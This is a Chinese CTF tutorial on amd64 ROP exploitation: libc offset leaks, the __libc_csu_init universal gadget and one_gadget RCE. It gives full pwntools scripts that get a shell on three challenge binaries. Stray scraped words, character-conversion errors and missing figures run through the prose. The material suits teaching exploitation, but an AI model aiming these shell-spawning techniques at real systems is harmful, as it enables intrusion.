Linux Pwn入門教程系列分享如約而至,本套課程是做者依據i春秋Pwn入門課程中的技術分類,並結合近幾年賽事中出現的題目和文章整理出一份相對完整的Linux Pwn教程。html
教程僅針對i386/amd64下的Linux Pwn常見的Pwn手法,如棧,堆,整數溢出,格式化字符串,條件競爭等進行介紹,全部環境都會封裝在Docker鏡像當中,並提供調試用的教學程序,來自歷年賽事的原題和帶有註釋的python腳本。python
課程回顧>>shell
Linux Pwn入門教程第三章:ShellCodedebug
教程中的題目和腳本如有使用不妥之處,歡迎各位大佬批評指正。調試
從給定的libc中尋找gadgetcode
有時候pwn題目也會提供一個pwn環境裏對應版本的libc。在這種狀況下,咱們就能夠經過泄露出某個在libc中的內容在內存中的實際地址,經過計算偏移來獲取system和「/bin/sh」的地址並調用。htm
這一節的例子是~/Security Fest CTF 2016-tvstation/tvstation。這是一個比較簡單的題目,題目中除了顯示出來的三個選項以外還有一個隱藏的選項4,選項4會直接打印出system函數在內存中的首地址:
從IDA中咱們能夠看到打印完地址後執行了函數debug_func( ),進入函數debug_func( )以後咱們發現了溢出點。
因爲這個題目給了libc,且咱們已經泄露出了system的內存地址。使用命令readelf -a 查看libc.so.6_x64。
從這張圖上咱們能夠看出來.text節(Section)屬於第一個LOAD段(Segment),這個段的文件長度和內存長度是同樣的,也就是說全部的代碼都是原樣映射到內存中,代碼之間的相對偏移是不會改變的。
因爲前面的PHDR, INTERP兩個段也是原樣映射,因此在IDA裏看到的system首地址距離文件頭的地址偏移和運行時的偏移是同樣的。如:在這個libc中system函數首地址是0x456a0,即從文件的開頭數0x456a0個字節到達system函數。
調試程序,發現system在內存中的地址是0x7fb5c8c266a0。
0x7fb5c8c266a0 -0x456a0 =0x7fb5c8be1000
根據這個事實,咱們就能夠經過泄露出來的libc中的函數地址獲取libc在內存中加載的首地址,從而以此跳轉到其餘函數的首地址並執行。
在libc中存在字符串「/bin/sh」,該字符串位於.data節,根據一樣的原理咱們也能夠得知這個字符串距libc首地址的偏移。
還有用來傳參的gadget :pop rdi; ret
據此咱們能夠構建腳本以下:
#!/usr/bin/python #coding:utf-8 from pwn import * io = remote('172.17.0.2', 10001) io.recvuntil(": ") io.sendline('4') #跳轉到隱藏選項 io.recvuntil("@0x") system_addr = int(io.recv(12), 16) #讀取輸出的system函數在內存中的地址 libc_start = system_addr - 0x456a0 #根據偏移計算libc在內存中的首地址 pop_rdi_addr = libc_start + 0x1fd7a #pop rdi; ret 在內存中的地址,給system函數傳參 binsh_addr = libc_start + 0x18ac40 #"/bin/sh"字符串在內存中的地址 payload = "" payload += 'A'*40 #padding payload += p64(pop_rdi_addr) #pop rdi; ret payload += p64(binsh_addr) #system函數參數 payload += p64(system_addr) #調用system()執行system("/bin/sh") io.sendline(payload) io.interactive()
一些特殊的gadgets
這一節主要介紹兩個特殊的gadgets。第一個gadget常常被稱做通用gadgets,一般位於x64的ELF程序中的__libc_csu_init中,以下圖所示:
這張圖片裏包含了兩個gadget,分別是:
咱們知道在x64的ELF程序中向函數傳參,一般順序是rdi, rsi, rdx, rcx, r8, r9, 棧,以上三段gadgets中,第一段能夠設置r12-r15,接上第三段使用已經設置的寄存器設置rdi, 接上第二段設置rsi, rdx, rbx,最後利用r12+rbx*8能夠call任意一個地址。
在找gadgets出現困難時,能夠利用這個gadgets快速構造ROP鏈。須要注意的是,用萬能gadgets的時候須要設置rbp=1,由於call qword ptr [r12+rbx*8]以後是add rbx, 1; cmp rbx, rbp; jnz xxxxxx。因爲咱們一般使rbx=0,從而使r12+rbx*8 = r12,因此call指令結束後rbx必然會變成1。若此時rbp != 1,jnz會再次進行call,從而可能引發段錯誤。那麼這段gadgets怎麼用呢?
咱們來看一下例子~/LCTF 2016-pwn100/pwn100,這個例子提供了libc,溢出點很明顯,位於0x40063d。
咱們須要作的就是泄露一個got表中函數的地址,而後計算偏移調用system。前面的代碼很簡單,咱們就不作介紹了。
#!/usr/bin/python #coding:utf-8 from pwn import * io = remote("172.17.0.3", 10001) elf = ELF("./pwn100") puts_addr = elf.plt['puts'] read_got = elf.got['read'] start_addr = 0x400550 pop_rdi = 0x400763 universal_gadget1 = 0x40075a #萬能gadget1:pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; retn universal_gadget2 = 0x400740 #萬能gadget2:mov rdx, r13; mov rsi, r14; mov edi, r15d; call qword ptr [r12+rbx*8] binsh_addr = 0x60107c #bss放了STDIN和STDOUT的FILE結構體,修改會致使程序崩潰 payload = "A"*72 #padding payload += p64(pop_rdi) # payload += p64(read_got) payload += p64(puts_addr) payload += p64(start_addr) #跳轉到start,恢復棧 payload = payload.ljust(200, "B") #padding io.send(payload) io.recvuntil('bye~\n') read_addr = u64(io.recv()[:-1].ljust(8, '\x00')) log.info("read_addr = %#x", read_addr) system_addr = read_addr - 0xb31e0 log.info("system_addr = %#x", system_addr)
爲了演示萬能gadgets的使用,咱們選擇再次經過調用read函數讀取/bin/sh\x00字符串,而不是直接使用偏移,首先咱們根據萬能gadgets佈置好棧。
payload = "A"*72 #padding payload += p64(universal_gadget1) #萬能gadget1 payload += p64(0) #rbx = 0 payload += p64(1) #rbp = 1,過掉後面萬能gadget2的call返回後的判斷 payload += p64(read_got) #r12 = got表中read函數項,裏面是read函數的真正地址,直接經過call調用 payload += p64(8) #r13 = 8,read函數讀取的字節數,萬能gadget2賦值給rdx payload += p64(binsh_addr) #r14 = read函數讀取/bin/sh保存的地址,萬能gadget2賦值給rsi payload += p64(0) #r15 = 0,read函數的參數fd,即STDIN,萬能gadget2賦值給edi payload += p64(universal_gadget2) #萬能gadget2
咱們是否是應該直接在payload後面接上返回地址呢?不,咱們回頭看一下universal_gadget2的執行流程:
因爲咱們的構造,上面的那塊代碼只會執行一次,而後流程就將跳轉到下面的loc_400756,這一系列操做將會擡升8*7共56字節的棧空間,所以咱們還須要提供56個字節的垃圾數據進行填充,而後再拼接上retn要跳轉的地址。
payload += '\x00'*56 #萬能gadget2後接判斷語句,過掉以後是萬能gadget1,用於填充棧 payload += p64(start_addr) #跳轉到start,恢復棧 payload = payload.ljust(200, "B") #padding 接下來就是常規操做getshell io.send(payload) io.recvuntil('bye~\n') io.send("/bin/sh\x00") #上面的一段payload調用了read函數讀取"/bin/sh\x00",這裏發送字符串 payload = "A"*72 #padding payload += p64(pop_rdi) #給system函數傳參 payload += p64(binsh_addr) #rdi = &("/bin/sh\x00") payload += p64(system_addr) #調用system函數執行system("/bin/sh") payload = payload.ljust(200, "B") #padding io.send(payload) io.interactive()
咱們介紹的第二個gadget一般被稱爲one gadget RCE,顧名思義,經過一個gadget遠程執行代碼,即getshell。咱們經過例子~/TJCTF 2016-oneshot/oneshot演示一下這個gadget的威力。
要利用這個gadget,咱們須要一個對應環境的libc和一個工具one_gadget。
從紅框中的代碼咱們看到地址rbp+var_8被做爲__isoc99_scanf的第二個參數賦值給rsi,即輸入被保存在這裏。隨後rbp+var_8中的內容被賦值給rax,又被賦值給rdx,最後經過call rdx執行。也就是說咱們輸入一個數字,這個數字會被當成地址使用call調用。因爲只能控制4字節,咱們就須要用到one gadget RCE來一步getshell。咱們經過one_gadget找到一些gadget:
咱們看到這些gadget有約束條件。咱們選擇第一條,要求rax=0。咱們構建腳本進行調試:
#!/usr/bin/python #coding:utf-8 from pwn import * one_gadget_rce = 0x45526 #one_gadget libc.so.6_x64 #0x45526 execve("/bin/sh", rsp+0x30, environ) #constraints: # rax == NULL setbuf_addr = 0x77f50 setbuf_got = 0x600ae0 io = remote("172.17.0.2", 10001) io.sendline(str(setbuf_got)) io.recvuntil("Value: ") setbuf_memory_addr = int(io.recv()[:18], 16) #經過打印got表中setbuf項的內容泄露setbuf在內存中的首地址 io.sendline(str(setbuf_memory_addr - (setbuf_addr - one_gadget_rce))) #經過偏移計算one_gadget_rce在內存中的地址 io.interactive()
執行到call rdx時rax = 0
getshell成功
以上是今天的內容,你們看懂了嗎?後面咱們將持續更新Linux Pwn入門教程的相關章節,但願你們及時關注。